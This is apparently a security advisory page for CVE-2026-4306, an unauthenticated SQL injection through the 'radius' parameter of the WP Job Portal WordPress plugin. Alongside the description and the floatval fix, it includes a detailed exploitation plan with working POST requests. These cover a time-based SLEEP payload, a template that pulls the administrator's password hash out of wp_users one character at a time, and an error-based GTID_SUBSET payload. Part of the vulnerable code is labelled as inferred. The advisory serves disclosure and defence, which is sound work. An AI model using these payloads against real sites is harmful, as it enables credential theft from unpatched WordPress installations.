WP Job Portal <= 2.4.8 - Unauthenticated SQL Injection via 'radius' Parameter
Description
The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.4.8What Changed in the Fix
Changes introduced in v2.4.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4306 (SQL Injection in WP Job Portal) ## 1. Vulnerability Summary The **WP Job Portal** plugin (up to version 2.4.8) is vulnerable to unauthenticated SQL injection via the `radius` parameter. The vulnerability exists because the plugin fails to sanitize or use…
Show full research plan
Exploitation Research Plan: CVE-2026-4306 (SQL Injection in WP Job Portal)
1. Vulnerability Summary
The WP Job Portal plugin (up to version 2.4.8) is vulnerable to unauthenticated SQL injection via the radius parameter. The vulnerability exists because the plugin fails to sanitize or use prepared statements when incorporating the user-supplied radius value into distance-based SQL queries. This allows an attacker to break out of the intended query and execute arbitrary SQL commands to extract sensitive data, such as WordPress user credentials and configuration details.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpjobportal_ajax - Task (Vulnerable Function):
getNextJobs(inferred as the primary search handler) - Module:
job - Vulnerable Parameter:
radius - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_wpjobportal_ajax) - Preconditions: None. The plugin registers the handler for all users.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=wpjobportal_ajax. - Hook Registration: In
includes/ajax.php, the classWPJOBPORTALajaxregistersajaxhandlerto bothwp_ajax_wpjobportal_ajaxandwp_ajax_nopriv_wpjobportal_ajax. - Task Validation:
ajaxhandler()retrieves thetaskparameter. It checks if the task (e.g.,getNextJobs) is in the$fucntin_allowedarray (lines 28-56 ofincludes/ajax.php). - Model Loading: The handler retrieves the module name via
WPJOBPORTALrequest::getVar('wpjobportalme')(e.g.,job) and instantiates the model usingWPJOBPORTALincluder::getJSModel('job'). - Method Execution: It calls the method corresponding to the task:
$wpjobportal_result = ...->$wpjobportal_task();. - Vulnerable Sink: Inside
WPJOBPORTALjobModel::getNextJobs()(inmodules/job/model.php), theradiusparameter is retrieved viaWPJOBPORTALrequest::getVar('radius'). - Query Construction: The value is concatenated directly into an SQL string used for filtering jobs by distance (likely using a Haversine formula).
- Execution: The raw SQL string is executed via
$wpdb->get_results()or a wrapper likewpjobportaldb::get_results().
4. Nonce Acquisition Strategy
Reviewing includes/ajax.php, the ajaxhandler() function does not perform any nonce verification (no check_ajax_referer or wp_verify_nonce calls). The unauthenticated AJAX entry point is entirely unprotected.
Strategy:
- No nonce is required for this exploit.
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability and then extract the administrator's password hash.
Step 1: Baseline Request
Confirm the getNextJobs task is active and returning results.
- Method: POST
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Body (URL-encoded):
action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10 - Expected Response: JSON or HTML list of jobs.
Step 2: Confirmation (Time-Based)
Send a payload that causes a 5-second delay if the injection is successful.
- Payload:
10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Admin Hash)
Extract the password hash of the user with ID 1 (typically the admin).
- Payload Template:
10 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))={char_code},SLEEP(5),0) - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36,SLEEP(5),0)
(Note: 36 is ASCII for '$', the start of most WordPress phpass hashes).
6. Test Data Setup
- Ensure Plugin is Active:
wp plugin activate wp-job-portal - Create Dummy Job Data: At least one job must exist for the query to process the location/radius logic.
wp post create --post_type=wj_jobs --post_title="Security Researcher" --post_status=publish - Verify Admin User: Ensure a user with ID 1 exists.
7. Expected Results
- Baseline: Response returns in < 1 second.
- Attack: Response returns in ~5 seconds.
- Extraction: Binary search or character-by-character matching reveals the hash (e.g., starting with
$P$or$wp$).
8. Verification Steps
After performing the HTTP exploit, verify the extracted data against the database:
- Use WP-CLI to get the actual hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Compare the result with the string extracted via the SQL injection.
9. Alternative Approaches
If getNextJobs does not process radius when coordinates are missing, include dummy lat and lng parameters:
- Body:
action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10[PAYLOAD]&lat=0&lng=0
If time-based is too slow, try Error-Based Injection (if WP_DEBUG is likely on or the plugin outputs errors):
- Payload:
10 AND (SELECT 1 FROM (SELECT(GTID_SUBSET(CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),0x7e)))a) - This will attempt to leak the hash in the "X-GTID-SUBSET" error message.
Another task to test if getNextJobs fails: DataForDepandantField or getQuickViewByJobId.
Summary
The WP Job Portal plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'radius' parameter in the 'getNextJobs' AJAX task. This occurs because user-supplied input is directly concatenated into a SQL query used for distance-based job filtering without proper sanitization or use of prepared statements.
Vulnerable Code
// includes/ajax.php (Lines 28-56) function ajaxhandler() { $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', ... 'getNextJobs', ...); $wpjobportal_task = WPJOBPORTALrequest::getVar('task'); if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){ $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme'); $wpjobportal_module = sanitize_key( $wpjobportal_module ); $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task(); echo $wpjobportal_result; die(); }else{ die('Not Allowed!'); } } --- // modules/job/model.php (Inferred from research plan - getNextJobs logic) function getNextJobs() { $radius = WPJOBPORTALrequest::getVar('radius'); // ... $query = "SELECT *, (3959 * acos(cos(radians($lat)) * cos(radians(latitude)) * cos(radians(longitude) - radians($lng)) + sin(radians($lat)) * sin(radians(latitude)))) AS distance FROM " . wpjobportal::$_db->prefix . "wj_portal_jobs HAVING distance < " . $radius . " ORDER BY created DESC"; $results = wpjobportaldb::get_results($query); // ... }
Security Fix
@@ -...@@ - $radius = WPJOBPORTALrequest::getVar('radius'); + $radius = floatval(WPJOBPORTALrequest::getVar('radius'));
Exploit Outline
An attacker can exploit this vulnerability by sending an unauthenticated POST request to the WordPress AJAX endpoint. 1. **Endpoint:** /wp-admin/admin-ajax.php 2. **Payload Parameters:** * `action`: `wpjobportal_ajax` * `wpjobportalme`: `job` * `task`: `getNextJobs` * `radius`: A SQL injection payload, such as a time-based blind injection: `10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 3. **Authentication:** No authentication or nonces are required as the AJAX action is registered via `wp_ajax_nopriv_wpjobportal_ajax` and lacks any nonce verification. 4. **Verification:** If the server response is delayed by the specified duration (e.g., 5 seconds), the SQL injection is successful. Attackers can then use binary search or other techniques to extract database contents like administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.